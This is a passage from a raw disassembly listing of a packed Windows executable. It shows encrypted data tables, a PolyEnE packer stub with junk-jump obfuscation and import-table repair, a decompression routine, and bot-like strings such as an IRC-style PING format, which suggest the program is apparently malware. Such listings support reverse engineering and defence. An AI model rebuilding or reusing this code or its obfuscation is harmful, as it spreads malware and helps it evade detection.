0B2FCACh, 3Eh dup(0) ; DATA XREF: sub_406A23+2Eo ; sub_406AE7+2Eo dword_41DD44 dd 0DFDFA6C8h, 0DBA0D4F2h, 0BCh, 0 ; DATA XREF: .data:off_41DA5Co dword_41DD54 dd 3430032Dh, 62656402h, 2036775h ; DATA XREF: .data:00416B0Do aEipHasLeftTheE db '- eip has left the endless loop for some reason...',0 align 4 aEntry db 'entry',0 ; DATA XREF: .data:00416AE7o align 4 aLoop db 'loop',0 ; DATA XREF: .data:loc_416AC5o align 4 aPing08x db 'PING :%08X',0 ; DATA XREF: sub_4167F1+263o align 10h a08xX08x3x08x08 db '%08x%x%08x%3x%08x%08x',0 ; DATA XREF: sub_4167F1+5Ao align 10h dword_41DDD0 dd 0DF0B3D60h, 101B548Fh, 8658Eh, 19D12B2Bh ; DATA XREF: sub_416E4E+15o off_41DDE0 dd offset off_4172BC ; DATA XREF: .data:off_4172C0o ; .data:004172FCo ... align 8 a_?av_com_error db '.?AV_com_error@@',0 align 10h off_41DE00 dd offset off_4172BC ; DATA XREF: .data:off_417308o ; .data:00417344o align 8 a_?avtype_info@ db '.?AVtype_info@@',0 dword_41DE18 dd 0 ; DATA XREF: sub_401856:loc_40186Er ; sub_401856+21r ... dword_41DE1C dd 0 ; DATA XREF: sub_401856:loc_401883r ; sub_401856+36r ... dword_41DE20 dd 0 ; DATA XREF: sub_401856:loc_401898r ; sub_401856+4Br ... dword_41DE24 dd 0 ; DATA XREF: sub_401856+3r ; sub_401856+Cr ... dd 0 dword_41DE2C dd 0 ; DATA XREF: sub_4018AF+40r ; sub_4018AF+62r ... byte_41DE30 db 0 ; DATA XREF: sub_401981+1BAo ; sub_402A32+57r ... align 8 dword_41DE38 dd 0 ; DATA XREF: sub_40332B+1Ar ; sub_404CBB+1Br ... dword_41DE3C dd 1 ; DATA XREF: sub_40332B+Bo dword_41DE40 dd 77E7C706h ; DATA XREF: sub_403BD3+28w ; sub_409C36+12r ... align 8 dword_41DE48 dd 71C245E0h ; DATA XREF: sub_403BD3+53w dword_41DE4C dd 71C243F6h ; DATA XREF: sub_403BD3+66w dword_41DE50 dd 71C59904h ; DATA XREF: sub_403BD3+79w dword_41DE54 dd 71C453F8h ; DATA XREF: sub_403BD3+8Cw dword_41DE58 dd 71C2FA86h ; DATA XREF: sub_403BD3+9Fw dword_41DE5C dd 71C574FAh ; DATA XREF: sub_403BD3+B2w dword_41DE60 dd 71C214BAh ; DATA XREF: sub_403BD3+C5w dword_41DE64 dd 71C4A1B4h ; DATA XREF: sub_403BD3+D8w dword_41DE68 dd 71C59530h ; DATA XREF: sub_403BD3+EBw dword_41DE6C dd 71B2ACCBh ; DATA XREF: sub_403BD3+112w dword_41DE70 dd 71B22C25h ; DATA XREF: sub_403BD3+125w dword_41DE74 dd 71B2A381h ; DATA XREF: sub_403BD3+138w dword_41DE78 dd 71B28D0Dh ; DATA XREF: sub_403BD3+14Bw dword_41DE7C dd 7622A3F4h ; DATA XREF: sub_403BD3+219w ; sub_408B30+118r ... dword_41DE80 dd 5E0C4E7Dh ; DATA XREF: sub_403BD3+1F2w ; sub_414EF4+6Cr ... dword_41DE84 dd 71AB33DFh ; DATA XREF: sub_403BD3+16Cw ; sub_403BD3+197r ... dword_41DE88 dd 71ABC076h ; DATA XREF: sub_4020C2+DBr ; sub_403BD3+17Fw ... dword_41DE8C dd 71AB3A2Ch ; DATA XREF: sub_403BD3+192w ; sub_403BD3+1A9r ... dd 101h dup(0) dword_41E294 dd 0 ; DATA XREF: sub_4042FB+3r ; sub_4042FB+20o dword_41E298 dd 0 ; DATA XREF: sub_4042FB+12o ; sub_4042FB:loc_404327r align 10h dword_41E2A0 dd 76BF1C22h ; DATA XREF: sub_405FA3+46w ; sub_405FA3+7Ar ... dword_41E2A4 dd 76BF1D54h ; DATA XREF: sub_405FA3+59w ; sub_405FA3+83r ... dword_41E2A8 dd 76BF1E6Ch ; DATA XREF: sub_405FA3+6Cw ; sub_405FA3+8Cr ... dword_41E2AC dd 76BF32DDh ; DATA XREF: sub_405FA3+33w ; sub_405FA3+71r ... dword_41E2B0 dd 14ABB8h, 0FFFFFFFFh, 5 dup(0) ; DATA XREF: sub_405FA3+4o ; sub_406041+Bo ... byte_41E2CC db 1 ; DATA XREF: sub_405FA3+95w ; sub_406041+16r align 10h dword_41E2D0 dd 0 ; DATA XREF: sub_409226+61w ; sub_409226+77w ... align 8 dword_41E2D8 dd 14ABE0h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: sub_40938F+1Ao ; sub_4095A4+6o ... dword_41E2F0 dd 0 ; DATA XREF: sub_40938F+3w ; sub_4095A4+11r ... align 8 dword_41E2F8 dd 863A00h ; DATA XREF: sub_40938F+15w ; sub_4095A4+57r ... dword_41E2FC dd 0 ; DATA XREF: sub_409CB1+6r ; sub_409DD0+65w ... dword_41E300 dd 0 ; DATA XREF: sub_409DD0+3Fw ; sub_409DD0+44r ... dword_41E304 dd 0 ; DATA XREF: sub_409CB1+F6r ; sub_409DD0+91w ... dword_41E308 dd 0 ; DATA XREF: sub_409CB1+B9r ; sub_409DD0+7Bw ... align 10h byte_41E310 db 0 ; DATA XREF: sub_409DD0+29r ; sub_409DD0+96w align 4 dd 101h dup(0) byte_41E718 db 0 ; DATA XREF: sub_40CF2F+4Bo ; sub_40CF2F+5Eo ... align 4 dd 5Fh dup(0) dword_41E898 dd 40h dup(0) ; DATA XREF: sub_40CF2F+Eo ; sub_40CF2F+A6o ... dword_41E998 dd 3 dup(0) ; DATA XREF: sub_40CF2F+23o ; sub_40CF2F+36o ... dword_41E9A4 dd 0 ; DATA XREF: sub_40CF25+3r ; sub_40D366+15r ... dd 0 dword_41E9AC dd 0 ; DATA XREF: sub_40E618+49w ; sub_40E618:loc_40E66Dw byte_41E9B0 db 0 ; DATA XREF: sub_40E979+1Dw ; sub_40E979+46w ... align 4 dd 9 dup(0) dd 3E000000h, 3F000000h, 37363534h, 3B3A3938h, 3D3Ch, 0 dd 2010000h, 6050403h, 0A090807h, 0E0D0C0Bh, 1211100Fh dd 16151413h, 191817h, 0 db 0 db 1Ah, 1Bh, 1Ch db 1Dh db 1Eh, 1Fh, 20h a_0123 db '!"#$%&',27h,'()*+,-./0123',0 dd 22h dup(0) byte_41EAB4 db 8Bh ; DATA XREF: sub_40ECEB+29o ; sub_40ECEB+35o ... db 0B9h, 0DBh, 0B0h dd 8FB3E9B3h, 9A9790C8h, 62FBBADBh, 0 dword_41EAC8 dd 353B9991h, 29C9A16Fh, 0F3E975C5h, 37BBFFA3h, 0 ; DATA XREF: sub_40ED6E+29o ; sub_40ED6E+35o ... dword_41EADC dd 0DF065762h ; DATA XREF: sub_4102AE+1Do ; sub_410318+7w ... dword_41EAE0 dd 3CEAFB48h ; DATA XREF: sub_4102AE+2Do ; sub_410318+11w ... dword_41EAE4 dd 9813C5D4h ; DATA XREF: sub_4102AE+3Do ; sub_410318+1Bw ... dword_41EAE8 dd 31370832h ; DATA XREF: sub_4102AE+4Do ; sub_410318+25w ... align 10h byte_41EAF0 db 0E2h ; DATA XREF: sub_41055F+29o ; sub_41055F+35o ... db 0E6h, 0B7h, 0B0h dd 0BECEFA9Dh, 0D3DE90C8h, 0B1F7D5FBh, 2 dup(0) dword_41EB08 dd 2 dup(0) ; DATA XREF: sub_41113B+7E8o dword_41EB10 dd 0 ; DATA XREF: sub_411DC5+557o dword_41EB14 dd 2 dup(0) ; DATA XREF: sub_411DC5+579o dword_41EB1C dd 0 ; DATA XREF: sub_4127D0+9r ; sub_4127D0+16w dword_41EB20 dd 0 ; DATA XREF: sub_4127D0+BFw ; sub_4127D0:loc_4128A0r dword_41EB24 dd 2 dup(0) ; DATA XREF: sub_412D4C+3o ; sub_412E04+7Fo dword_41EB2C dd 6B636170h, 652E6465h, 6578h, 3Eh dup(0) ; DATA XREF: sub_406E8E+208o ; sub_407148+172o ... dword_41EC30 dd 2C1A04C8h ; DATA XREF: sub_40A9CF+838r ; sub_4167F1+118w dword_41EC34 dd 6EBC4CB9h ; DATA XREF: sub_4167F1+122w dword_41EC38 dd 9719A136h ; DATA XREF: sub_4167F1+12Cw dword_41EC3C dd 5BF895DCh ; DATA XREF: sub_4167F1+136w dword_41EC40 dd 6B636170h, 652E6465h, 6578h, 3Fh dup(0) ; DATA XREF: sub_40A9CF+C3Do ; sub_40A9CF+C51o ... dword_41ED48 dd 40h dup(0) ; DATA XREF: sub_40A9CF+1082o ; sub_40A9CF+108Eo ... byte_41EE48 db 0 ; DATA XREF: sub_40D043+FFr ; sub_40D043+10Ao ... align 4 dd 1Fh dup(0) byte_41EEC8 db 0 ; DATA XREF: sub_403DF3:loc_403F07r ; sub_403DF3+11Fo ... align 4 dd 1Fh dup(0) dword_41EF48 dd 40h dup(0) ; DATA XREF: sub_404279+36o ; sub_4055E5+746o ... byte_41F048 db 0 ; DATA XREF: sub_40A9CF+1F37o ; sub_40D043:loc_40D0D6r ... align 4 dd 3EDh dup(0) ; --------------------------------------------------------------------------- jmp short near ptr loc_420000+1 ; CODE XREF: .data:loc_420000j ; --------------------------------------------------------------------------- test byte ptr [ebx-878A009h], 60h xchg al, ah jmp short loc_42000E ; --------------------------------------------------------------------------- db 0A0h ; --------------------------------------------------------------------------- loc_42000E: ; CODE XREF: .data:0042000Bj rol ax, 8 push ebp mov ebp, 0BB31h xchg eax, ebp pop ebp xchg al, ah jmp short loc_42001F ; --------------------------------------------------------------------------- db 0A0h ; --------------------------------------------------------------------------- loc_42001F: ; CODE XREF: .data:0042001Cj rol ax, 8 xchg al, ah jmp short loc_420028 ; --------------------------------------------------------------------------- db 0A0h ; --------------------------------------------------------------------------- loc_420028: ; CODE XREF: .data:00420025j rol ax, 8 xchg al, ah jmp short loc_420031 ; --------------------------------------------------------------------------- db 0A0h ; --------------------------------------------------------------------------- loc_420031: ; CODE XREF: .data:0042002Ej rol ax, 8 jmp short loc_420038 ; --------------------------------------------------------------------------- db 31h ; --------------------------------------------------------------------------- loc_420038: ; CODE XREF: .data:00420035j push 40h mov ecx, [esp] add esp, 4 rol edx, 2 ror edx, 2 push eax jmp short near ptr loc_42004B+1 ; CODE XREF: .data:loc_42004Bj ; --------------------------------------------------------------------------- db 0F1h, 0EBh, 0FFh dd 42051115h, 0C0FFEB00h, 0EBC8FFEBh, 0EB230F05h, 0FBEB3103h dd 0C6C15050h, 1EB5920h, 10006831h, 0EB5E0040h, 0EB230F05h dd 0FBEB3103h, 31BBDB87h, 8A0000BBh, 0C0C32A06h, 0C30254C0h dd 0C0A4C0C0h, 0D80015C8h, 0C001C082h, 0F0806DC0h, 52C0C0CCh dd 8046C0C0h, 0E882FFF0h, 0B9F082A5h, 88B6C0C0h, 0EBC6FF01h dd 1EBC1FFh, 50CBFFA9h, 1E8h, 8358C700h, 0FFEB08C0h, 0FB8358E0h dd 0B0850F00h, 8BFFFFFFh, 0C4832434h, 4EC8304h, 2404C7h dd 5F004010h, 83F6FFEBh, 4C704ECh, 42057724h, 0D0FF5800h dd 0EB20C6C1h, 51515FFh, 0C2C10042h, 2CAC102h, 6B1B8h dd 40B900h, 86900000h, 0A001EBC4h, 8C0C166h, 0FFEBF0FFh dd 0C0FFEBF1h, 57C8FFEBh, 1EBFB87h, 0FB875B0Fh, 0EB00EBh dd 1115FFEBh, 48004205h, 0C0FFEB40h, 0FFC8FFEBh, 20C6C1F0h dd 0FF6901EBh, 0BD5BF0h, 87004170h, 6B168D2h, 48B0000h dd 4C48324h, 1E850h, 58C70000h, 0EB08C083h, 8A58E0FFh dd 0EA820055h, 0C0D02AFFh, 0CAC068C2h, 0FFEA82E6h, 822DC280h dd 0C2C0B2F2h, 0FFF2806Bh, 8298EA80h, 0C280EFEAh, 28C2FEFFh dd 82D002C2h, 13887DEAh, 0C2C1C5FFh, 2CAC102h, 0C8FFC3FFh dd 0F00F883h, 0FFFFAB85h, 0DB875EFFh, 417000BFh, 77B85600h dd 0EB004205h, 0D0FFA901h, 1EBC486h, 0C0C166A0h, 0A901EB08h dd 1515FFEBh, 0B8004205h, 3004h, 0EB3101EBh, 0B850A901h dd 40h, 0D2875891h, 0EBFB8757h, 875B0F01h, 0F6FFEBFBh dd 875FF78Bh, 0FFEB50F7h, 15FFEBF1h, 420511h, 0F0FFC987h dd 5DF0FFEBh, 0EB20C6C1h, 0EB230F05h, 0FBEB3103h, 0EBFB8757h dd 875B0F01h, 800068FBh, 335E0041h, 2EB57C7h, 43330BDh dd 4BA5F24h, 8A000030h, 80D5002Eh, 0D50001EDh, 0ED80EA32h dd 11C5C0FFh, 8009C5C0h, 0F5824DF5h, 80EA2A21h, 0ED82FFF5h dd 1ED80B6h, 0EA32C5FEh, 6D88D500h, 0DB874600h, 4AC5FFEBh dd 0F00FA83h, 0FFFFC285h, 24348BFFh, 9004C483h, 68C987h dd 8B004180h, 0C483243Ch, 50F6FF04h, 1E8h, 8358C700h, 0FFEB08C0h dd 776858E0h, 8B004205h, 0C4832404h, 48D0FF04h, 3300EB40h dd 2EB57C7h, 43330BDh, 1EB5F24h, 15FFEBA9h, 420515h, 0C868DB87h dd 8B004173h, 0C483243Ch, 0EBDB8704h, 0FFEBC0FFh, 0EBF889C8h dd 0F78BF6FFh, 0B9F7875Fh, 5, 0B850D287h, 0 ; --------------------------------------------------------------------------- xchg eax, ebx pop eax loc_4202F2: ; CODE XREF: .data:0042030Ej cmp [eax], ebx jnz loc_420329 add eax, 4 dec ecx cmp ecx, ebx jz loc_420419 rol edx, 2 ror edx, 2 jmp loc_4202F2 ; --------------------------------------------------------------------------- sub ebp, ebx add eax, 3EB230Fh xor ebx, ebp sti push edi xchg edi, ebx jmp short loc_420323 ; --------------------------------------------------------------------------- db 0Fh ; --------------------------------------------------------------------------- loc_420323: ; CODE XREF: .data:00420320j pop ebx xchg edi, ebx rol esi, 20h loc_420329: ; CODE XREF: .data:004202F4j push eax call near ptr loc_42032F+1 loc_42032F: ; CODE XREF: .data:0042032Ap mov dword ptr [eax-7Dh], 0FFEB08C0h loopne loc_420390 push 400000h mov ebx, [esp] add esp, 4 jmp short loc_420346 ; --------------------------------------------------------------------------- db 69h ; --------------------------------------------------------------------------- loc_420346: ; CODE XREF: .data:00420343j mov eax, [edi+0Ch] add eax, ebx push eax jmp short near ptr loc_42034D+1 ; CODE XREF: .data:loc_42034Dj ; --------------------------------------------------------------------------- adc eax, offset byte_420519 mov esi, eax mov eax, [edi+10h] xchg ebx, ebx add ebx, eax mov eax, [ebx] push eax mov eax, 0 xchg eax, ecx pop eax push edx push ecx cmp eax, [esp] pop edx pop edx jz loc_4203E2 xchg al, ah jmp short loc_420379 ; --------------------------------------------------------------------------- db 0A0h ; --------------------------------------------------------------------------- loc_420379: ; CODE XREF: .data:00420376j rol ax, 8 jmp short loc_420380 ; --------------------------------------------------------------------------- db 0A9h ; --------------------------------------------------------------------------- loc_420380: ; CODE XREF: .data:0042037Dj push edi xchg edi, ebx jmp short loc_420386 ; --------------------------------------------------------------------------- db 0Fh ; --------------------------------------------------------------------------- loc_420386: ; CODE XREF: .data:00420383j pop ebx xchg edi, ebx test eax, 80000000h ; --------------------------------------------------------------------------- dw 850Fh ; --------------------------------------------------------------------------- loc_420390: ; CODE XREF: .data:00420336j sldt word ptr [eax] add [ebp+40000080h], cl add bh, bh rol byte ptr [eax-17h], 6 ; --------------------------------------------------------------------------- db 0 dd 255A0000h, 0FFFFh, 4048C987h, 0FFEB5650h, 42051D15h dd 0B900h, 1EB0000h, 0FC139A9h, 7384h, 57C73300h, 30BD02EBh dd 5F240433h, 52900389h, 4BAh, 5ADA0300h, 0FFFF7CE9h ; --------------------------------------------------------------------------- call fword ptr [ebx] loc_4203E2: ; CODE XREF: .data:0042036Ej xor eax, edi push edi jmp short loc_4203E9 ; --------------------------------------------------------------------------- db 0BDh db 30h ; --------------------------------------------------------------------------- loc_4203E9: ; CODE XREF: .data:004203E5j xor eax, [esp] pop edi add edi, 14h jmp near ptr dword_420050+283h ; --------------------------------------------------------------------------- push edi jmp short loc_420400 ; --------------------------------------------------------------------------- db 0Fh db 23h ; --------------------------------------------------------------------------- loc_4203FD: ; CODE XREF: .data:loc_420400j jmp short loc_420402 ; --------------------------------------------------------------------------- db 31h ; --------------------------------------------------------------------------- loc_420400: ; CODE XREF: .data:004203F9j jmp short loc_4203FD ; --------------------------------------------------------------------------- loc_420402: ; CODE XREF: .data:loc_4203FDj rol esi, 20h xor eax, edi push edi jmp short loc_42040C ; --------------------------------------------------------------------------- dw 30BDh ; --------------------------------------------------------------------------- loc_42040C: ; CODE XREF: .data:00420408j xor eax, [esp] pop edi jmp short loc_420417 ; --------------------------------------------------------------------------- dw 230Fh ; --------------------------------------------------------------------------- loc_420414: ; CODE XREF: .data:loc_420417j jmp short loc_420419 ; --------------------------------------------------------------------------- db 31h ; --------------------------------------------------------------------------- loc_420417: ; CODE XREF: .data:00420410j jmp short loc_420414 ; --------------------------------------------------------------------------- loc_420419: ; CODE XREF: .data:00420302j ; .data:loc_420414j popa xchg edx, edx push offset sub_4167F1 mov eax, [esp] add esp, 4 push eax push eax call near ptr loc_42042E+1 loc_42042E: ; CODE XREF: .data:00420429p mov dword ptr [eax-7Dh], 0FFEB08C0h loopne loc_42048F retn ; --------------------------------------------------------------------------- dd 0EB20C6C1h, 0F78BF6FFh, 0C1F7875Fh, 0CAC102C2h, 0C1D28702h dd 29B820C6h, 57004206h, 1EBFB87h, 0FB875B0Fh, 0C704EC83h dd 6442404h, 0FF5B0042h, 1068F1h, 148B0000h, 4C48324h dd 0FFF2FFEBh, 0EBF0FFF3h, 0EB230F05h, 0FBEB3103h, 0FFA901EBh dd 3101EBF1h ; --------------------------------------------------------------------------- sub esp, 4 loc_42048F: ; CODE XREF: .data:00420435j mov dword ptr [esp], offset aUser32_dll ; "USER32.dll" pop eax push eax jmp short $+2 dec eax inc eax jmp short near ptr loc_42049C+1 ; CODE XREF: .data:loc_42049Cj ; --------------------------------------------------------------------------- dw 1915h dd 0EB004205h, 0B8509000h, 42064Ch, 0EB515891h, 5EBF0FFh dd 3EB230Fh, 0EBFBEB31h, 51D15FFh, 0D0FF0042h, 576901EBh dd 1EBFB87h, 0FB875B0Fh, 2115FFEBh, 0E9004205h, 96h, 2 dup(0) dd 0FFFFFFFFh, 20504h, 20511h, 5 dup(0) dd 4E52454Bh, 32334C45h, 6C6C642Eh, 0E736A300h, 0E7380377h db 77h byte_420519 db 0D8h, 5, 0E8h ; DATA XREF: .data:0042034Fo dd 0E7A5FD77h, 0E75CB577h, 77h, 47016800h, 61626F6Ch, 6C6C416Ch dd 6F00636Fh, 6F6C4701h, 466C6162h, 656572h, 6F4C01A9h dd 694C6461h, 72617262h, 29004179h, 74654701h, 636F7250h dd 72646441h, 737365h, 78450075h, 72507469h, 7365636Fh dd 0B0E90073h, 55000000h, 33DF8B57h, 831E03EDh, 8B6608C6h dd 46CD8B16h, 0B6EAD366h, 74CEFE09h, 73E2D0F1h, 0CD8B5676h dd 0E8D3068Bh, 0F08BC88Bh, 0A903E9C1h, 4, 0E1830B74h, 8E8C11Fh dd 0EB08C583h, 3E18309h, 8305E8C1h, 0E68305C5h, 74F68503h dd 15744E0Eh, 831C744Eh, 0C58307E0h, 251AEB03h, 1FFh, 0EB09C583h dd 7F2510h, 0C5830000h, 8306EB07h, 0C5831FE0h, 0F78B4005h dd 2B02C183h, 39048DF0h, 2373C33Bh, 0CD8BA4F3h, 3E9C15Eh dd 307E583h, 3B82EBF1h, 8B1173FBh, 47068BCDh, 8846E8D3h dd 6EE9FF47h, 59FFFFFFh, 2B5FC78Bh, 0EBC35DC7h aUnableToFixImp db ':Unable to fix importtable.',0 aPolyene db 'PolyEnE',0 aMessageboxa db 'MessageBoxA',0 aUser32_dll db 'USER32.dll',0 ; DATA XREF: .data:loc_42048Fo align 4 dd 267h dup(0) ; --------------------------------------------------------------------------- xor eax, edi push edi jmp short loc_421007 ; --------------------------------------------------------------------------- db 0BDh, 30h ; --------------------------------------------------------------------------- loc_421007: ; CODE XREF: .data:00421003j xor eax, [esp] pop edi pusha push 0D26Eh pop eax push 40h mov ecx, [esp] add esp, 4 jmp short $+2 push eax jmp short $+2 jmp short near ptr loc_421022+1 ; CODE XREF: .data:loc_421022j ; --------------------------------------------------------------------------- dd 0EBDB87F1h, 159B15FFh, 0FFEB0042h, 6901EBF0h, 8B444450h dd 44FE2444h, 10006844h, 685E0040h, 0D26Eh, 83241C8Bh dd 0E8A04C4h, 0D900CB2Ah, 0E982CB02h, 3CC9C001h, 804EF180h dd 0E982FAF1h, 81C1C051h, 322CC9C0h, 80D928CBh, 88866C1h dd 1E85046h, 0C7000000h, 8C08358h, 58E0FFEBh, 0FF20C6C1h dd 0CBFFEBC0h, 339000EBh, 2EB57C7h, 43330BDh, 0FB835F24h dd 0AB850F00h, 87FFFFFFh, 8B4444D2h, 44FE2474h, 10006844h dd 3C8B0040h, 4C48324h, 0EBC48656h, 0C166A001h, 0DB8708C0h dd 1601BD55h, 5D950042h, 230F05EBh, 0EB3103EBh, 0EBD0FFFBh dd 159F15FFh, 0EC830042h, 2404C704h, 7A0h, 40B85058h, 91000000h dd 0F0FFEB58h, 0FFEBF1FFh, 42159B15h, 0F6FFEB00h, 875FF78Bh dd 0EBF0FFF7h, 0FFEBC0FFh, 44F0FFC8h, 24448B44h, 834444FEh dd 4C704ECh, 41700024h, 0D2875B00h, 7A068h, 24148B00h dd 8A04C483h, 82D1000Bh, 0D10044E9h, 0C001C180h, 0D1F616C1h dd 82FFC180h, 0CA32FFC1h, 82E6C9C0h, 0E982FFC1h, 88D1289Ah dd 1E85008h, 0C7000000h, 8C08358h, 58E0FFEBh, 0EBC3FFEBh dd 0FFC0FF00h, 0FA83CAh, 0FFB9850Fh, 505EFFFFh, 417000B8h dd 0FF589700h, 3101EBF6h, 0C704EC83h, 16012404h, 87580042h dd 0C1D0FFDBh, 0CAC102C2h, 15FFEB02h, 42159Fh, 361368h dd 24048B00h, 5004C483h, 1E8h, 8358C700h, 0FFEB08C0h, 0C6C158E0h dd 406820h, 50590000h, 1EBC486h, 0C0C166A0h, 1EB5108h dd 15FFEB69h, 42159Bh, 0EB3101EBh, 0FFEBC0FFh, 0F0FFEBC8h dd 243C8B50h, 0BB04C483h, 418000h, 0EBC0FFEBh, 0FFEBC8FFh dd 5FF78BF6h, 0C733F787h, 0BD02EB57h, 24043330h, 0EBD2875Fh dd 0FFEBC0FFh, 361368C8h, 87580000h, 822B8AC9h, 0ED80FFEDh dd 80CDFE01h, 0D5F6FFF5h, 0ED80E802h, 0E2F5808Fh, 2A05C5C0h dd 0EB2F88E8h, 0FFEB3101h, 0C7FFEBC3h, 0EB48C987h, 0EB230F05h dd 0FBEB3103h, 0F00F883h, 0FFFFC485h, 685EFFh, 5F004180h dd 0C486F6FFh, 66A001EBh, 5708C0C1h, 1EBFB87h, 0FB875B0Fh dd 0EBFB8757h, 875B0F01h, 1BD55FBh, 95004216h, 0FFC9875Dh dd 15FFEBD0h, 42159Fh, 0C0FFEB90h, 0C1C8FFEBh, 8CB820C6h dd 68000005h, 40h, 0F05EB59h, 3103EB23h, 8757FBEBh, 0F01EBFBh dd 0EBFB875Bh, 0FF506901h, 2C2C1F1h, 0EB02CAC1h, 159B15FFh dd 0F0FF0042h, 44F0FFEBh, 247C8B44h, 0EB4444FEh, 0F78BF6FFh dd 68F7875Fh, 420000h, 83240C8Bh, 0EC8304C4h, 2404C704h dd 58Ch, 0EBC98758h, 0F78BF6FFh, 8AF7875Fh, 0B3C78239h dd 28A6EF80h, 9BC7C0C7h, 0F780F832h, 0FFF78083h, 82DCF782h dd 0EF8001EFh, 82F802B1h, 0EF82E7EFh, 0C0F83245h, 0C7824EC7h dd 333F88FFh, 2EB57C7h, 43330BDh, 87575F24h, 0F01EBFBh dd 50FB875Bh, 1E8h, 8358C700h, 0FFEB08C0h, 0C1FF58E0h dd 0C8FFC7FFh, 0F00F883h, 0FFFF9485h, 24348BFFh, 8304C483h dd 4C704ECh, 42000024h, 0FFEB5F00h, 55C987F6h, 421601BDh dd 0FF5D9500h, 15FFEBD0h, 42159Fh, 4DCB850h, 58970042h dd 0EBC0FFEBh, 0C78BC8FFh, 0EBA901EBh, 0EB230F05h, 0FBEB3103h dd 5B850h, 58910000h, 1EBD287h, 0B850A9h, 93000000h, 57C73358h dd 30BD02EBh, 5F240433h, 850F1839h, 23h, 876901EBh, 6901EBDBh dd 4808Dh, 87490000h, 0FD939C9h, 0C284h, 0FFDAE900h, 87C2FFFFh dd 50C987D2h, 400000B8h, 8B589300h, 0C2C10C47h, 2CAC102h dd 0FFEBC303h, 5FF78BF6h, 1EBF787h, 0FFEB50A9h, 5FF78BF6h dd 0FFEBF787h, 4215A315h, 8BF08B00h, 0D8031047h, 0E850038Bh dd 1, 0C08358C7h, 0E0FFEB08h, 0B85058h, 91000000h, 0FC13B58h dd 5284h, 0BA5200h, 0F7004000h, 5AC22BDAh, 0C0FFC0FFh dd 0F6FFF0FFh, 0A715FFEBh, 0EB004215h, 6800h, 0C8B0000h dd 4C48324h, 4395152h, 0F5A5A24h, 3A84h, 0FB875700h, 5B0F01EBh dd 0C987FB87h, 1EB0389h, 49B8D31h, 87000000h, 0FF8EE9DBh dd 872FFFFFh, 14C781D2h, 0E9000000h, 0FFFFFEECh, 61C987C8h dd 0BD55h, 5D950042h, 55C3F0FFh, 4216B3BDh, 335D9500h dd 2EB57C7h, 43330BDh, 0EB5F24h, 16CEB850h, 58930042h dd 1E850h, 58C70000h, 0EB08C083h, 0FF58E0FFh, 1E850F1h dd 0C7000000h, 8C08358h, 58E0FFEBh, 0EB57C733h, 3330BD02h dd 685F2404h, 10h, 8324148Bh, 0F2FF04C4h, 0EB515053h, 0E2B86901h dd 0EB004216h, 0EB230F05h, 0FBEB3103h, 15FFEB50h, 4215A3h dd 230F05EBh, 0EB3103EBh, 20C6C1FBh, 0D66800EBh, 8B004216h dd 0C483240Ch, 0F1FFEB04h, 0C486D287h, 66A001EBh, 0EB08C0C1h dd 0FFEBC0FFh, 0EBF0FFC8h, 15A715FFh, 0D0FF0042h, 0AB15FFEBh dd 87004215h, 96E9C9h, 0 dd 13370000h, 0CDC3h, 158E77E6h, 159B0002h, 2, 4 dup(0) db 0 align 2 dw 454Bh db 52h ; R db 4Eh, 45h, 4Ch db 33h ; 3 db 32h, 2Eh, 64h db 6Ch ; l db 6Ch, 0, 0A3h db 36h ; 6 db 0E7h, 77h, 3 db 38h ; 8 db 0E7h, 77h, 0D8h db 5 db 0E8h, 77h, 0FDh db 0A5h ; ¥ db 0E7h, 77h, 0B5h db 5Ch ; \ db 0E7h, 77h, 0 db 0 db 2 dup(0), 68h db 1 aGlobalalloc db 'GlobalAlloc',0 db 6Fh, 1, 47h aLobalfree db 'lobalFree',0 dw 1A9h aLoadlibrarya db 'LoadLibraryA',0 db 29h, 1, 47h aEtprocaddress db 'etProcAddress',0 aU_0 db 'u',0 aExitprocess db 'ExitProcess',0 ; --------------------------------------------------------------------------- jmp loc_4216B1 ; --------------------------------------------------------------------------- push ebp push edi mov ebx, edi xor ebp, ebp add ebx, [esi] add esi, 8 loc_42160C: ; CODE XREF: .data:00421619j mov dx, [esi] mov ecx, ebp inc esi shr dx, cl mov dh, 9 loc_421617: ; CODE XREF: .data:00421693j ; .data:004216A4j dec dh jz short loc_42160C shl dl, 1 jnb short loc_421695 push esi mov ecx, ebp mov eax, [esi] shr eax, cl mov ecx, eax mov esi, eax shr ecx, 3 test eax, 4 jz short loc_42163F and ecx, 1Fh shr eax, 8 add ebp, 8 jmp short loc_421648 ; --------------------------------------------------------------------------- loc_42163F: ; CODE XREF: .data:00421632j and ecx, 3 shr eax, 5 add ebp, 5 loc_421648: ; CODE XREF: .data:0042163Dj and esi, 3 test esi, esi jz short loc_42165D dec esi jz short loc_421667 dec esi jz short loc_421671 and eax, 7 add ebp, 3 jmp short loc_421677 ; --------------------------------------------------------------------------- loc_42165D: ; CODE XREF: .data:0042164Dj and eax, 7Fh add ebp, 7 jmp short loc_421677 ; --------------------------------------------------------------------------- loc_421667: ; CODE XREF: .data:00421650j and eax, 3Fh add ebp, 6 jmp short loc_421677 ; --------------------------------------------------------------------------- loc_421671: ; CODE XREF: .data:00421653j and eax, 0Fh add ebp, 4 loc_421677: ; CODE XREF: .data:0042165Bj ; .data:00421665j ... inc eax mov esi, edi add ecx, 2 sub esi, eax lea eax, [ecx+edi] cmp eax, ebx jnb short loc_4216A9 rep movsb mov ecx, ebp pop esi shr ecx, 3 and ebp, 7 add esi, ecx jmp short loc_421617 ; --------------------------------------------------------------------------- loc_421695: ; CODE XREF: .data:0042161Dj cmp edi, ebx jnb short loc_4216AA mov ecx, ebp mov eax, [esi] inc edi shr eax, cl inc esi mov [edi-1], al jmp loc_421617 ; --------------------------------------------------------------------------- loc_4216A9: ; CODE XREF: .data:00421684j pop ecx loc_4216AA: ; CODE XREF: .data:00421697j mov eax, edi pop edi sub eax, edi pop ebp retn ; --------------------------------------------------------------------------- loc_4216B1: ; CODE XREF: .data:004215FCj jmp short near ptr byte_4216ED ; --------------------------------------------------------------------------- aUnableToFixI_0 db 'Unable to fix importtable.',0 aPolyene_0 db 'PolyEnE',0 aMessageboxa_0 db 'MessageBoxA',0 aUser32_dll_0 db 'USER32.dll',0 byte_4216ED db 3 dup(0) ; CODE XREF: .data:loc_4216B1j align 1000h _data ends ; Section 2. (virtual address 00022000) ; Virtual size : 00011DD6 ( 73174.) ; Section size in file : 00011DD6 ( 73174.) ; Offset to raw data for section: 00022000 ; Flags C0000020: Text Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write _pdata segment para public 'CODE' use32 assume 